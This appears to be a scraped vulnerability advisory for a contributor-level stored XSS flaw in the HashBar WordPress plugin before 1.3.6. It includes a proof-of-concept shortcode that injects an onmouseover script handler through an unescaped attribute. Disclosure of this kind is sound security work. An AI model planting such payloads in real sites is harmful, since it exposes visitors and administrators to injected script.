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wpexploitLana CodesWPEX-ID:B430FDAA-191A-429E-B6D2-479B32BB1075
HistoryDec 27, 2022 - 12:00 a.m.

HashBar – WordPress Notification Bar < 1.3.6 - Contributor+ Stored XSS via Shortcode

2022-12-2700:00:00
Lana Codes
165
wordpress
notification
bar
xss
shortcode
exploit

0.001 Low

EPSS

Percentile

23.3%

JSON

The plugin does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.

Exploit shortcode:

[hashbar_btn btn_target='" onmouseover="alert(1)"']

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HashBar – WordPress Notification Bar < 1.3.6 - Contributor+ Stored XSS via Shortcode
2022-12-27 00:00:00

0.001 Low

EPSS

Percentile

23.3%

JSON
Related for WPEX-ID:B430FDAA-191A-429E-B6D2-479B32BB1075
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